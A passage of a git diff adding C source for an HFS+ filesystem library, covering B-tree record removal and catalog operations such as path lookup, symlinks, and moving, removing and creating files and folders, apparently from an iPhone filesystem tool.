0) { + free(key); + + if(descriptor->kind == kBTLeafNode) { + if(i != (descriptor->numRecords - 1)) { + length = getRecordOffset(i + 1, root, tree) - recordOffset; + moveRecordsDown(tree, descriptor, i + 1, root, -length, -1); + } // don't need to do that if we're the last record, because our old offset pointer will be the new free space pointer + + descriptor->numRecords--; + tree->headerRec->leafRecords--; + ASSERT(writeBTNodeDescriptor(descriptor, root, tree), "writeBTNodeDescriptor"); + ASSERT(writeBTHeaderRec(tree), "writeBTHeaderRec"); + + if(descriptor->numRecords >= 1) { + free(descriptor); + return 0; + } else { + free(descriptor); + removeNode(tree, root); + (*gone) = TRUE; + return 0; + } + } else { + nodeToTraverse = getNodeNumberFromPointerRecord(recordDataOffset, tree->io); + checkForChangedKey = TRUE; + break; + } + } else if(res > 0) { + free(key); + + if(lastRecordDataOffset == 0 || descriptor->kind == kBTLeafNode) { + // not found; + free(descriptor); + return 0; + } else { + nodeToTraverse = getNodeNumberFromPointerRecord(lastRecordDataOffset, tree->io); + break; + } + } + + lastRecordDataOffset = recordDataOffset; + + free(key); + } + + if(nodeToTraverse == 0) { + nodeToTraverse = getNodeNumberFromPointerRecord(lastRecordDataOffset, tree->io); + } + + if(i == descriptor->numRecords) { + i = descriptor->numRecords - 1; + } + + newNode = removeRecord(tree, nodeToTraverse, searchKey, callAgain, &childGone); + + if(childGone) { + if(i != (descriptor->numRecords - 1)) { + length = getRecordOffset(i + 1, root, tree) - recordOffset; + moveRecordsDown(tree, descriptor, i + 1, root, -length, -1); + } // don't need to do that if we're the last record, because our old offset pointer will be the new free space pointer + + descriptor->numRecords--; + ASSERT(writeBTNodeDescriptor(descriptor, root, tree), "writeBTNodeDescriptor"); + } else { + if(checkForChangedKey) { + // we will remove the first item in the child node, so our index has to change + + key = READ_KEY(tree, getRecordOffset(0, nodeToTraverse, tree), tree->io); + + if(searchKey->keyLength != key->keyLength) { + if(key->keyLength > searchKey->keyLength && freeSpace < (key->keyLength - searchKey->keyLength)) { + // very unlikely. We need to split this node before we can resize the key of this index. Do that first, and tell them to call again. + *callAgain = TRUE; + return splitNode(root, descriptor, tree); + } + + moveRecordsDown(tree, descriptor, i + 1, root, key->keyLength - searchKey->keyLength, 0); + } + + ASSERT(WRITE_KEY(tree, recordOffset, key, tree->io), "WRITE_KEY"); + FLIPENDIAN(nodeToTraverse); + ASSERT(WRITE(tree->io, recordOffset + sizeof(uint16_t) + key->keyLength, sizeof(uint32_t), &nodeToTraverse), "WRITE"); + FLIPENDIAN(nodeToTraverse); + + free(key); + } + } + + if(newNode == 0) { + if(descriptor->numRecords == 0) { + removeNode(tree, root); + (*gone) = TRUE; + } + + free(descriptor); + return 0; + } else { + newNodeBigEndian = newNode; + key = READ_KEY(tree, newNode * tree->headerRec->nodeSize + 14, tree->io); + FLIPENDIAN(newNodeBigEndian); + + if(freeSpace < (sizeof(key->keyLength) + key->keyLength + sizeof(newNodeBigEndian) + sizeof(uint16_t))) { + newNode = splitNode(root, descriptor, tree); + + if(i < descriptor->numRecords) { + doAddRecord(tree, root, key, sizeof(newNodeBigEndian), (unsigned char*)(&newNodeBigEndian)); + } else { + doAddRecord(tree, newNode, key, sizeof(newNodeBigEndian), (unsigned char*)(&newNodeBigEndian)); + } + + if(descriptor->numRecords == 0) { + removeNode(tree, root); + (*gone) = TRUE; + } + + free(key); + free(descriptor); + return newNode; + } else { + doAddRecord(tree, root, key, sizeof(newNodeBigEndian), (unsigned char*)(&newNodeBigEndian)); + + free(key); + free(descriptor); + return 0; + } + } + + return FALSE; +} + +int removeFromBTree(BTree* tree, BTKey* searchKey) { + int callAgain; + int gone; + uint32_t newNode; + + do { + callAgain = FALSE; + newNode = removeRecord(tree, tree->headerRec->rootNode, searchKey, &callAgain, &gone); + if(newNode != 0) { + increaseHeight(tree, newNode); + } + } while(callAgain); + + return TRUE; +} diff --git a/hfs/catalog.c b/hfs/catalog.c new file mode 100644 index 0000000..a535fc5 --- /dev/null +++ b/hfs/catalog.c @@ -0,0 +1,1091 @@ +#include +#include +#include +#include "hfsplus.h" + +static inline void flipBSDInfo(HFSPlusBSDInfo* info) { + FLIPENDIAN(info->ownerID); + FLIPENDIAN(info->groupID); + FLIPENDIAN(info->fileMode); + FLIPENDIAN(info->special); +} + +static inline void flipPoint(Point* point) { + FLIPENDIAN(point->v); + FLIPENDIAN(point->h); +} + +static inline void flipRect(Rect* rect) { + FLIPENDIAN(rect->top); + FLIPENDIAN(rect->left); + FLIPENDIAN(rect->bottom); + FLIPENDIAN(rect->right); +} + +static inline void flipFolderInfo(FolderInfo* info) { + flipRect(&info->windowBounds); + FLIPENDIAN(info->finderFlags); + flipPoint(&info->location); +} + +static inline void flipExtendedFolderInfo(ExtendedFolderInfo* info) { + flipPoint(&info->scrollPosition); + FLIPENDIAN(info->extendedFinderFlags); + FLIPENDIAN(info->putAwayFolderID); +} + +static inline void flipFileInfo(FileInfo* info) { + FLIPENDIAN(info->fileType); + FLIPENDIAN(info->fileCreator); + FLIPENDIAN(info->finderFlags); + flipPoint(&info->location); +} + +static inline void flipExtendedFileInfo(ExtendedFileInfo* info) { + FLIPENDIAN(info->extendedFinderFlags); + FLIPENDIAN(info->putAwayFolderID); +} + +void flipCatalogFolder(HFSPlusCatalogFolder* record) { + FLIPENDIAN(record->recordType); + FLIPENDIAN(record->flags); + FLIPENDIAN(record->valence); + FLIPENDIAN(record->folderID); + FLIPENDIAN(record->createDate); + FLIPENDIAN(record->contentModDate); + FLIPENDIAN(record->attributeModDate); + FLIPENDIAN(record->accessDate); + FLIPENDIAN(record->backupDate); + + flipBSDInfo(&record->permissions); + flipFolderInfo(&record->userInfo); + flipExtendedFolderInfo(&record->finderInfo); + + FLIPENDIAN(record->textEncoding); + FLIPENDIAN(record->folderCount); +} + +void flipCatalogFile(HFSPlusCatalogFile* record) { + FLIPENDIAN(record->recordType); + FLIPENDIAN(record->flags); + FLIPENDIAN(record->fileID); + FLIPENDIAN(record->createDate); + FLIPENDIAN(record->contentModDate); + FLIPENDIAN(record->attributeModDate); + FLIPENDIAN(record->accessDate); + FLIPENDIAN(record->backupDate); + + flipBSDInfo(&record->permissions); + flipFileInfo(&record->userInfo); + flipExtendedFileInfo(&record->finderInfo); + + FLIPENDIAN(record->textEncoding); + + flipForkData(&record->dataFork); + flipForkData(&record->resourceFork); +} + +void flipCatalogThread(HFSPlusCatalogThread* record, int out) { + int i; + int nameLength; + + FLIPENDIAN(record->recordType); + FLIPENDIAN(record->parentID); + if(out) { + nameLength = record->nodeName.length; + FLIPENDIAN(record->nodeName.length); + } else { + FLIPENDIAN(record->nodeName.length); + nameLength = record->nodeName.length; + } + + for(i = 0; i < nameLength; i++) { + if(out) { + if(record->nodeName.unicode[i] == ':') { + record->nodeName.unicode[i] = '/'; + } + FLIPENDIAN(record->nodeName.unicode[i]); + } else { + FLIPENDIAN(record->nodeName.unicode[i]); + if(record->nodeName.unicode[i] == '/') { + record->nodeName.unicode[i] = ':'; + } + } + } +} + +#define UNICODE_START (sizeof(uint16_t) + sizeof(HFSCatalogNodeID) + sizeof(uint16_t)) + +static void catalogKeyPrint(BTKey* toPrint) { + HFSPlusCatalogKey* key; + + key = (HFSPlusCatalogKey*) toPrint; + + printf("%d:", key->parentID); + printUnicode(&key->nodeName); +} + +static int catalogCompare(BTKey* vLeft, BTKey* vRight) { + HFSPlusCatalogKey* left; + HFSPlusCatalogKey* right; + uint16_t i; + + uint16_t cLeft; + uint16_t cRight; + + left = (HFSPlusCatalogKey*) vLeft; + right =(HFSPlusCatalogKey*) vRight; + + if(left->parentID < right->parentID) { + return -1; + } else if(left->parentID > right->parentID) { + return 1; + } else { + for(i = 0; i < left->nodeName.length; i++) { + if(i >= right->nodeName.length) { + return 1; + } else { + /* ugly hack to support weird : to / conversion on iPhone */ + if(left->nodeName.unicode[i] == ':') { + cLeft = '/'; + } else { + cLeft = left->nodeName.unicode[i] ; + } + + if(right->nodeName.unicode[i] == ':') { + cRight = '/'; + } else { + cRight = right->nodeName.unicode[i]; + } + + if(cLeft < cRight) + return -1; + else if(cLeft > cRight) + return 1; + } + } + + if(i < right->nodeName.length) { + return -1; + } else { + /* do a safety check on key length. Otherwise, bad things may happen later on when we try to add or remove with this key */ + /*if(left->keyLength == right->keyLength) { + return 0; + } else if(left->keyLength < right->keyLength) { + return -1; + } else { + return 1; + }*/ + return 0; + } + } +} + +static int catalogCompareCS(BTKey* vLeft, BTKey* vRight) { + HFSPlusCatalogKey* left; + HFSPlusCatalogKey* right; + + left = (HFSPlusCatalogKey*) vLeft; + right =(HFSPlusCatalogKey*) vRight; + + if(left->parentID < right->parentID) { + return -1; + } else if(left->parentID > right->parentID) { + return 1; + } else { + return FastUnicodeCompare(left->nodeName.unicode, left->nodeName.length, right->nodeName.unicode, right->nodeName.length); + } +} + +static BTKey* catalogKeyRead(off_t offset, io_func* io) { + HFSPlusCatalogKey* key; + uint16_t i; + + key = (HFSPlusCatalogKey*) malloc(sizeof(HFSPlusCatalogKey)); + + if(!READ(io, offset, UNICODE_START, key)) + return NULL; + + FLIPENDIAN(key->keyLength); + FLIPENDIAN(key->parentID); + FLIPENDIAN(key->nodeName.length); + + if(!READ(io, offset + UNICODE_START, key->nodeName.length * sizeof(uint16_t), ((unsigned char *)key) + UNICODE_START)) + return NULL; + + for(i = 0; i < key->nodeName.length; i++) { + FLIPENDIAN(key->nodeName.unicode[i]); + if(key->nodeName.unicode[i] == '/') /* ugly hack that iPhone seems to do */ + key->nodeName.unicode[i] = ':'; + } + + return (BTKey*)key; +} + +static int catalogKeyWrite(off_t offset, BTKey* toWrite, io_func* io) { + HFSPlusCatalogKey* key; + uint16_t i; + uint16_t keyLength; + uint16_t nodeNameLength; + + keyLength = toWrite->keyLength + sizeof(uint16_t); + key = (HFSPlusCatalogKey*) malloc(keyLength); + memcpy(key, toWrite, keyLength); + + nodeNameLength = key->nodeName.length; + + FLIPENDIAN(key->keyLength); + FLIPENDIAN(key->parentID); + FLIPENDIAN(key->nodeName.length); + + for(i = 0; i < nodeNameLength; i++) { + if(key->nodeName.unicode[i] == ':') /* ugly hack that iPhone seems to do */ + key->nodeName.unicode[i] = '/'; + + FLIPENDIAN(key->nodeName.unicode[i]); + } + + if(!WRITE(io, offset, keyLength, key)) + return FALSE; + + free(key); + + return TRUE; +} + +static BTKey* catalogDataRead(off_t offset, io_func* io) { + int16_t recordType; + HFSPlusCatalogRecord* record; + uint16_t nameLength; + + if(!READ(io, offset, sizeof(int16_t), &recordType)) + return NULL; + + FLIPENDIAN(recordType); fflush(stdout); + + switch(recordType) { + case kHFSPlusFolderRecord: + record = (HFSPlusCatalogRecord*) malloc(sizeof(HFSPlusCatalogFolder)); + if(!READ(io, offset, sizeof(HFSPlusCatalogFolder), record)) + return NULL; + flipCatalogFolder((HFSPlusCatalogFolder*)record); + break; + + case kHFSPlusFileRecord: + record = (HFSPlusCatalogRecord*) malloc(sizeof(HFSPlusCatalogFile)); + if(!READ(io, offset, sizeof(HFSPlusCatalogFile), record)) + return NULL; + flipCatalogFile((HFSPlusCatalogFile*)record); + break; + + case kHFSPlusFolderThreadRecord: + case kHFSPlusFileThreadRecord: + record = (HFSPlusCatalogRecord*) malloc(sizeof(HFSPlusCatalogThread)); + + if(!READ(io, offset + sizeof(uint16_t) + sizeof(uint16_t) + sizeof(uint32_t), sizeof(uint16_t), &nameLength)) + return NULL; + + FLIPENDIAN(nameLength); + + if(!READ(io, offset, sizeof(uint16_t) + sizeof(uint16_t) + sizeof(uint32_t) + sizeof(uint16_t) + (sizeof(uint16_t) * nameLength), record)) + return NULL; + + flipCatalogThread((HFSPlusCatalogThread*)record, FALSE); + break; + } + + return (BTKey*)record; +} + +void ASCIIToUnicode(const char* ascii, HFSUniStr255* unistr) { + int count; + + count = 0; + while(ascii[count] != '\0') { + unistr->unicode[count] = ascii[count]; + count++; + } + + unistr->length = count; +} + +HFSPlusCatalogRecord* getRecordByCNID(HFSCatalogNodeID CNID, Volume* volume) { + HFSPlusCatalogKey key; + HFSPlusCatalogThread* thread; + HFSPlusCatalogRecord* record; + int exact; + + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + key.parentID = CNID; + key.nodeName.length = 0; + + thread = (HFSPlusCatalogThread*) search(volume->catalogTree, (BTKey*)(&key), &exact, NULL, NULL); + + if(thread == NULL) { + return NULL; + } + + if(exact == FALSE) { + free(thread); + return NULL; + } + + key.parentID = thread->parentID; + key.nodeName = thread->nodeName; + + free(thread); + + record = (HFSPlusCatalogRecord*) search(volume->catalogTree, (BTKey*)(&key), &exact, NULL, NULL); + + if(record == NULL || exact == FALSE) + return NULL; + else + return record; +} + +CatalogRecordList* getFolderContents(HFSCatalogNodeID CNID, Volume* volume) { + BTree* tree; + HFSPlusCatalogThread* record; + HFSPlusCatalogKey key; + uint32_t nodeNumber; + int recordNumber; + + BTNodeDescriptor* descriptor; + off_t recordOffset; + off_t recordDataOffset; + HFSPlusCatalogKey* currentKey; + + CatalogRecordList* list; + CatalogRecordList* lastItem; + CatalogRecordList* item; + + tree = volume->catalogTree; + + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + key.parentID = CNID; + key.nodeName.length = 0; + + list = NULL; + + record = (HFSPlusCatalogThread*) search(tree, (BTKey*)(&key), NULL, &nodeNumber, &recordNumber); + + if(record == NULL) + return NULL; + + free(record); + + ++recordNumber; + + while(nodeNumber != 0) { + descriptor = readBTNodeDescriptor(nodeNumber, tree); + + while(recordNumber < descriptor->numRecords) { + recordOffset = getRecordOffset(recordNumber, nodeNumber, tree); + currentKey = (HFSPlusCatalogKey*) READ_KEY(tree, recordOffset, tree->io); + recordDataOffset = recordOffset + currentKey->keyLength + sizeof(currentKey->keyLength); + + if(currentKey->parentID == CNID) { + item = (CatalogRecordList*) malloc(sizeof(CatalogRecordList)); + item->name = currentKey->nodeName; + item->record = (HFSPlusCatalogRecord*) READ_DATA(tree, recordDataOffset, tree->io); + item->next = NULL; + + if(list == NULL) { + list = item; + } else { + lastItem->next = item; + } + + lastItem = item; + free(currentKey); + } else { + free(currentKey); + free(descriptor); + return list; + } + + recordNumber++; + } + + nodeNumber = descriptor->fLink; + recordNumber = 0; + + free(descriptor); + } + + return list; +} + +void releaseCatalogRecordList(CatalogRecordList* list) { + CatalogRecordList* next; + while(list) { + next = list->next; + free(list->record); + free(list); + list = next; + } +} + +HFSPlusCatalogRecord* getLinkTarget(HFSPlusCatalogRecord* record, HFSCatalogNodeID parentID, HFSPlusCatalogKey *key, Volume* volume) { + io_func* io; + char pathBuffer[1024]; + HFSPlusCatalogRecord* toReturn; + + if(record->recordType == kHFSPlusFileRecord && (((HFSPlusCatalogFile*)record)->permissions.fileMode & S_IFLNK) == S_IFLNK) { + io = openRawFile(((HFSPlusCatalogFile*)record)->fileID, &(((HFSPlusCatalogFile*)record)->dataFork), record, volume); + READ(io, 0, (((HFSPlusCatalogFile*)record)->dataFork).logicalSize, pathBuffer); + CLOSE(io); + pathBuffer[(((HFSPlusCatalogFile*)record)->dataFork).logicalSize] = '\0'; + toReturn = getRecordFromPath3(pathBuffer, volume, NULL, key, TRUE, TRUE, parentID); + free(record); + return toReturn; + } else { + return record; + } +} + +HFSPlusCatalogRecord* getRecordFromPath(const char* path, Volume* volume, char **name, HFSPlusCatalogKey* retKey) { + return getRecordFromPath2(path, volume, name, retKey, TRUE); +} + +HFSPlusCatalogRecord* getRecordFromPath2(const char* path, Volume* volume, char **name, HFSPlusCatalogKey* retKey, char traverse) { + return getRecordFromPath3(path, volume, name, retKey, TRUE, TRUE, kHFSRootFolderID); +} + +HFSPlusCatalogRecord* getRecordFromPath3(const char* path, Volume* volume, char **name, HFSPlusCatalogKey* retKey, char traverse, char returnLink, HFSCatalogNodeID parentID) { + HFSPlusCatalogKey key; + HFSPlusCatalogRecord* record; + + char* origPath; + char* myPath; + char* word; + char* pathLimit; + + uint32_t realParent; + + int exact; + + if(path[0] == '\0' || (path[0] == '/' && path[1] == '\0')) { + if(name != NULL) + *name = (char*)path; + + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + key.parentID = kHFSRootFolderID; + key.nodeName.length = 0; + + record = (HFSPlusCatalogRecord*) search(volume->catalogTree, (BTKey*)(&key), &exact, NULL, NULL); + key.parentID = ((HFSPlusCatalogThread*)record)->parentID; + key.nodeName = ((HFSPlusCatalogThread*)record)->nodeName; + + free(record); + + record = (HFSPlusCatalogRecord*) search(volume->catalogTree, (BTKey*)(&key), &exact, NULL, NULL); + return record; + } + + myPath = strdup(path); + origPath = myPath; + + record = NULL; + + if(path[0] == '/') { + key.parentID = kHFSRootFolderID; + } else { + key.parentID = parentID; + } + + pathLimit = myPath + strlen(myPath); + + for(word = (char*)strtok(myPath, "/"); word && (word < pathLimit); + word = ((word + strlen(word) + 1) < pathLimit) ? (char*)strtok(word + strlen(word) + 1, "/") : NULL) { + + if(name != NULL) + *name = (char*)(path + (word - origPath)); + + if(record != NULL) { + free(record); + record = NULL; + } + + if(word[0] == '\0') { + continue; + } + + ASCIIToUnicode(word, &key.nodeName); + + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length) + (sizeof(uint16_t) * key.nodeName.length); + record = (HFSPlusCatalogRecord*) search(volume->catalogTree, (BTKey*)(&key), &exact, NULL, NULL); + + if(record == NULL || exact == FALSE) { + free(origPath); + if(record != NULL) { + free(record); + } + return NULL; + } + + if(traverse) { + if(((word + strlen(word) + 1) < pathLimit) || returnLink) { + record = getLinkTarget(record, key.parentID, &key, volume); + if(record == NULL || exact == FALSE) { + free(origPath); + return NULL; + } + } + } + + if(record->recordType == kHFSPlusFileRecord) { + if((word + strlen(word) + 1) >= pathLimit) { + free(origPath); + + if(retKey != NULL) { + memcpy(retKey, &key, sizeof(HFSPlusCatalogKey)); + } + + return record; + } else { + free(origPath); + free(record); + return NULL; + } + } + + if(record->recordType != kHFSPlusFolderRecord) + hfs_panic("inconsistent catalog tree!"); + + realParent = key.parentID; + key.parentID = ((HFSPlusCatalogFolder*)record)->folderID; + } + + if(retKey != NULL) { + memcpy(retKey, &key, sizeof(HFSPlusCatalogKey)); + retKey->parentID = realParent; + } + + free(origPath); + return record; +} + +int updateCatalog(Volume* volume, HFSPlusCatalogRecord* catalogRecord) { + HFSPlusCatalogKey key; + HFSPlusCatalogRecord* record; + HFSPlusCatalogFile file; + HFSPlusCatalogFolder folder; + int exact; + + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + if(catalogRecord->recordType == kHFSPlusFolderRecord) { + key.parentID = ((HFSPlusCatalogFolder*)catalogRecord)->folderID; + } else if(catalogRecord->recordType == kHFSPlusFileRecord) { + key.parentID = ((HFSPlusCatalogFile*)catalogRecord)->fileID; + } else { + /* unexpected */ + return FALSE; + } + key.nodeName.length = 0; + + record = (HFSPlusCatalogRecord*) search(volume->catalogTree, (BTKey*)(&key), &exact, NULL, NULL); + + key.parentID = ((HFSPlusCatalogThread*)record)->parentID; + key.nodeName = ((HFSPlusCatalogThread*)record)->nodeName; + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length) + (sizeof(uint16_t) * key.nodeName.length); + + free(record); + + record = (HFSPlusCatalogRecord*) search(volume->catalogTree, (BTKey*)(&key), &exact, NULL, NULL); + + removeFromBTree(volume->catalogTree, (BTKey*)(&key)); + + switch(record->recordType) { + case kHFSPlusFolderRecord: + memcpy(&folder, catalogRecord, sizeof(HFSPlusCatalogFolder)); + flipCatalogFolder(&folder); + free(record); + return addToBTree(volume->catalogTree, (BTKey*)(&key), sizeof(HFSPlusCatalogFolder), (unsigned char *)(&folder)); + break; + + case kHFSPlusFileRecord: + memcpy(&file, catalogRecord, sizeof(HFSPlusCatalogFile)); + flipCatalogFile(&file); + free(record); + return addToBTree(volume->catalogTree, (BTKey*)(&key), sizeof(HFSPlusCatalogFile), (unsigned char *)(&file)); + break; + } + + return TRUE; +} + +int move(const char* source, const char* dest, Volume* volume) { + HFSPlusCatalogRecord* srcRec; + HFSPlusCatalogFolder* srcFolderRec; + HFSPlusCatalogFolder* destRec; + char* destPath; + char* destName; + char* curChar; + char* lastSeparator; + + int i; + int threadLength; + + HFSPlusCatalogKey srcKey; + HFSPlusCatalogKey destKey; + HFSPlusCatalogThread* thread; + + srcRec = getRecordFromPath3(source, volume, NULL, &srcKey, TRUE, FALSE, kHFSRootFolderID); + if(srcRec == NULL) { + free(srcRec); + return FALSE; + } + + srcFolderRec = (HFSPlusCatalogFolder*) getRecordByCNID(srcKey.parentID, volume); + + if(srcFolderRec == NULL || srcFolderRec->recordType != kHFSPlusFolderRecord) { + free(srcRec); + free(srcFolderRec); + return FALSE; + } + + destPath = strdup(dest); + + curChar = destPath; + lastSeparator = NULL; + + while((*curChar) != '\0') { + if((*curChar) == '/') + lastSeparator = curChar; + curChar++; + } + + if(lastSeparator == NULL) { + destRec = (HFSPlusCatalogFolder*) getRecordFromPath("/", volume, NULL, NULL); + destName = destPath; + } else { + destName = lastSeparator + 1; + *lastSeparator = '\0'; + destRec = (HFSPlusCatalogFolder*) getRecordFromPath(destPath, volume, NULL, NULL); + + if(destRec == NULL || destRec->recordType != kHFSPlusFolderRecord) { + free(destPath); + free(srcRec); + free(destRec); + free(srcFolderRec); + return FALSE; + } + } + + removeFromBTree(volume->catalogTree, (BTKey*)(&srcKey)); + + srcKey.nodeName.length = 0; + if(srcRec->recordType == kHFSPlusFolderRecord) { + srcKey.parentID = ((HFSPlusCatalogFolder*)srcRec)->folderID; + } else if(srcRec->recordType == kHFSPlusFileRecord) { + srcKey.parentID = ((HFSPlusCatalogFile*)srcRec)->fileID; + } else { + /* unexpected */ + return FALSE; + } + srcKey.keyLength = sizeof(srcKey.parentID) + sizeof(srcKey.nodeName.length); + + removeFromBTree(volume->catalogTree, (BTKey*)(&srcKey)); + + + destKey.nodeName.length = strlen(destName); + + threadLength = sizeof(uint16_t) + sizeof(uint16_t) + sizeof(uint32_t) + sizeof(uint16_t) + (sizeof(uint16_t) * destKey.nodeName.length); + thread = (HFSPlusCatalogThread*) malloc(threadLength); + thread->reserved = 0; + destKey.parentID = destRec->folderID; + thread->parentID = destKey.parentID; + thread->nodeName.length = destKey.nodeName.length; + for(i = 0; i < destKey.nodeName.length; i++) { + destKey.nodeName.unicode[i] = destName[i]; + thread->nodeName.unicode[i] = destName[i]; + } + + destKey.keyLength = sizeof(uint32_t) + sizeof(uint16_t) + (sizeof(uint16_t) * destKey.nodeName.length); + + switch(srcRec->recordType) { + case kHFSPlusFolderRecord: + thread->recordType = kHFSPlusFolderThreadRecord; + flipCatalogFolder((HFSPlusCatalogFolder*)srcRec); + addToBTree(volume->catalogTree, (BTKey*)(&destKey), sizeof(HFSPlusCatalogFolder), (unsigned char *)(srcRec)); + break; + + case kHFSPlusFileRecord: + thread->recordType = kHFSPlusFileThreadRecord; + flipCatalogFile((HFSPlusCatalogFile*)srcRec); + addToBTree(volume->catalogTree, (BTKey*)(&destKey), sizeof(HFSPlusCatalogFile), (unsigned char *)(srcRec)); + break; + } + + destKey.nodeName.length = 0; + destKey.parentID = srcKey.parentID; + destKey.keyLength = sizeof(destKey.parentID) + sizeof(destKey.nodeName.length); + + flipCatalogThread(thread, TRUE); + addToBTree(volume->catalogTree, (BTKey*)(&destKey), threadLength, (unsigned char *)(thread)); + + /* adjust valence */ + srcFolderRec->valence--; + updateCatalog(volume, (HFSPlusCatalogRecord*) srcFolderRec); + destRec->valence++; + updateCatalog(volume, (HFSPlusCatalogRecord*) destRec); + + free(thread); + free(destPath); + free(srcRec); + free(destRec); + free(srcFolderRec); + + return TRUE; +} + +int removeFile(const char* fileName, Volume* volume) { + HFSPlusCatalogRecord* record; + HFSPlusCatalogKey key; + io_func* io; + HFSPlusCatalogFolder* parentFolder; + + record = getRecordFromPath3(fileName, volume, NULL, &key, TRUE, FALSE, kHFSRootFolderID); + if(record != NULL) { + parentFolder = (HFSPlusCatalogFolder*) getRecordByCNID(key.parentID, volume); + if(parentFolder != NULL) { + if(parentFolder->recordType != kHFSPlusFolderRecord) { + ASSERT(FALSE, "parent not folder"); + free(parentFolder); + return FALSE; + } + } else { + ASSERT(FALSE, "can't find parent"); + return FALSE; + } + + if(record->recordType == kHFSPlusFileRecord) { + io = openRawFile(((HFSPlusCatalogFile*)record)->fileID, &((HFSPlusCatalogFile*)record)->dataFork, record, volume); + allocate((RawFile*)io->data, 0); + CLOSE(io); + + removeFromBTree(volume->catalogTree, (BTKey*)(&key)); + + key.nodeName.length = 0; + key.parentID = ((HFSPlusCatalogFile*)record)->fileID; + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + removeFromBTree(volume->catalogTree, (BTKey*)(&key)); + + volume->volumeHeader->fileCount--; + } else { + if(((HFSPlusCatalogFolder*)record)->valence > 0) { + free(record); + free(parentFolder); + ASSERT(FALSE, "folder not empty"); + return FALSE; + } else { + removeFromBTree(volume->catalogTree, (BTKey*)(&key)); + + key.nodeName.length = 0; + key.parentID = ((HFSPlusCatalogFolder*)record)->folderID; + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + removeFromBTree(volume->catalogTree, (BTKey*)(&key)); + } + + parentFolder->folderCount--; + volume->volumeHeader->folderCount--; + } + parentFolder->valence--; + updateCatalog(volume, (HFSPlusCatalogRecord*) parentFolder); + updateVolume(volume); + + free(record); + free(parentFolder); + + return TRUE; + } else { + free(parentFolder); + ASSERT(FALSE, "cannot find record"); + return FALSE; + } +} + +int makeSymlink(const char* pathName, const char* target, Volume* volume) { + io_func* io; + HFSPlusCatalogFile* record; + + record = (HFSPlusCatalogFile*) getRecordFromPath3(pathName, volume, NULL, NULL, TRUE, FALSE, kHFSRootFolderID); + + if(!record) { + newFile(pathName, volume); + record = (HFSPlusCatalogFile*) getRecordFromPath(pathName, volume, NULL, NULL); + if(!record) { + return FALSE; + } + record->permissions.fileMode |= S_IFLNK; + record->userInfo.fileType = kSymLinkFileType; + record->userInfo.fileCreator = kSymLinkCreator; + updateCatalog(volume, (HFSPlusCatalogRecord*) record); + } else { + if(record->recordType != kHFSPlusFileRecord || (((HFSPlusCatalogFile*)record)->permissions.fileMode & S_IFLNK) != S_IFLNK) { + free(record); + return FALSE; + } + } + + io = openRawFile(record->fileID, &record->dataFork, (HFSPlusCatalogRecord*) record, volume); + WRITE(io, 0, strlen(target), (void*) target); + CLOSE(io); + free(record); + + return TRUE; +} + +HFSCatalogNodeID newFolder(const char* pathName, Volume* volume) { + HFSPlusCatalogFolder* parentFolder; + HFSPlusCatalogFolder folder; + HFSPlusCatalogKey key; + HFSPlusCatalogThread thread; + + uint32_t newFolderID; + + int threadLength; + + char* path; + char* name; + char* curChar; + char* lastSeparator; + + path = strdup(pathName); + + curChar = path; + lastSeparator = NULL; + + while((*curChar) != '\0') { + if((*curChar) == '/') + lastSeparator = curChar; + curChar++; + } + + if(lastSeparator == NULL) { + parentFolder = (HFSPlusCatalogFolder*) getRecordFromPath("/", volume, NULL, NULL); + name = path; + } else { + name = lastSeparator + 1; + *lastSeparator = '\0'; + parentFolder = (HFSPlusCatalogFolder*) getRecordFromPath(path, volume, NULL, NULL); + } + + if(parentFolder == NULL || parentFolder->recordType != kHFSPlusFolderRecord) { + free(path); + free(parentFolder); + return FALSE; + } + + newFolderID = volume->volumeHeader->nextCatalogID++; + volume->volumeHeader->folderCount++; + + folder.recordType = kHFSPlusFolderRecord; + folder.flags = kHFSHasFolderCountMask; + folder.valence = 0; + folder.folderID = newFolderID; + folder.createDate = UNIX_TO_APPLE_TIME(time(NULL)); + folder.contentModDate = folder.createDate; + folder.attributeModDate = folder.createDate; + folder.accessDate = folder.createDate; + folder.backupDate = folder.createDate; + folder.permissions.ownerID = parentFolder->permissions.ownerID; + folder.permissions.groupID = parentFolder->permissions.groupID; + folder.permissions.adminFlags = 0; + folder.permissions.ownerFlags = 0; + folder.permissions.fileMode = S_IFDIR | S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH; + folder.permissions.special.iNodeNum = 0; + memset(&folder.userInfo, 0, sizeof(folder.userInfo)); + memset(&folder.finderInfo, 0, sizeof(folder.finderInfo)); + folder.textEncoding = 0; + folder.folderCount = 0; + + key.parentID = parentFolder->folderID; + ASCIIToUnicode(name, &key.nodeName); + key.keyLength = sizeof(key.parentID) + STR_SIZE(key.nodeName); + + thread.recordType = kHFSPlusFolderThreadRecord; + thread.reserved = 0; + thread.parentID = parentFolder->folderID; + ASCIIToUnicode(name, &thread.nodeName); + threadLength = sizeof(thread.recordType) + sizeof(thread.reserved) + sizeof(thread.parentID) + STR_SIZE(thread.nodeName); + flipCatalogThread(&thread, TRUE); + flipCatalogFolder(&folder); + + ASSERT(addToBTree(volume->catalogTree, (BTKey*)(&key), sizeof(HFSPlusCatalogFolder), (unsigned char *)(&folder)), "addToBTree"); + key.nodeName.length = 0; + key.parentID = newFolderID; + key.keyLength = sizeof(key.parentID) + sizeof(key.nodeName.length); + ASSERT(addToBTree(volume->catalogTree, (BTKey*)(&key), threadLength, (unsigned char *)(&thread)), "addToBTree"); + + parentFolder->folderCount++; + parentFolder->valence++; + updateCatalog(volume, (HFSPlusCatalogRecord*) parentFolder); + + updateVolume(volume); + + free(parentFolder); + free(path); + + return newFolderID; +} + +HFSCatalogNodeID newFile(const char* pathName, Volume* volume) { + HFSPlusCatalogFolder* parentFolder; + HFSPlusCatalogFile file; + HFSPlusCatalogKey key; + HFSPlusCatalogThread thread; + + uint32_t newFileID; + + int threadLength; + + char* path; + char* name; + char* curChar; + char* lastSeparator; + + path = strdup(pathName); + + curChar = path; + lastSeparator = NULL; + + while((*curChar) != '\0') { + if((*curChar) == '/') + lastSeparator = curChar; + curChar++; + } + + 